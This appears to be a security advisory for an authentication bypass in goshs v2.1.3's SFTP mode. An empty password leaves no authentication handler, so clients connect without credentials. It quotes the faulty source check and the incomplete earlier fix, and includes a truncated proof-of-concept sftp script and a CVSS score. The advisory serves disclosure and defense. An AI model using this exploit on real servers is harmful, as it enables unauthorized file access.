Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
HasPrefix(":") catches empty username. It does not catch empty password.
Same && at sftpserver.go:85. Same nil handler. Different input:
goshs -b 'admin:' -sftp
Username = "admin", Password = ""Username != "" && Password != "" → false. Password is empty.PasswordHandler not set. No -fkf → PublicKeyHandler not set.NoClientAuth = true.CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o...
2.1.32.1.42.1.32.1.4Exploitability
AV:NAC:LPR:NUI:NScope
S:UImpact
C:HI:HA:N9.1/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NAuthentication